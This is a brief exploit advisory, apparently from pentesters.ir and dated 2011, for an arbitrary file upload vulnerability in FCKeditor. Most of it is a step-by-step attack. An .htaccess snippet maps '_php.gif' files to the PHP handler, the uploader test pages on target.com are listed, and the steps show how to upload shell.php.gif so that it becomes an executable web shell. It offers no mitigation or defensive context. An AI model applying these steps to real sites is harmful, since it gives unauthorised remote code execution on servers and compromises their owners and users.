FCKeditor Shell Upload

`In The Name Of GOD  
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability  
[+] Date: 2011  
[+] script:http://sourceforge.net/projects/fckeditor/  
[+] Author : pentesters.ir  
[+] Website : WwW.PenTesters.IR  
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1.create a htaccess file:  
code:  
<FilesMatch "_php.gif">  
SetHandler application/x-httpd-php  
</FilesMatch>  
  
2.Now upload this htaccess with FCKeditor.  
http://target.com/FCKeditor/editor/filemanager/upload/test.html  
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html  
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3.Now upload shell.php.gif with FCKeditor.  
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.  
5.http://target.com/anything/shell_php.gif  
6.Now shell is available from server.  
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`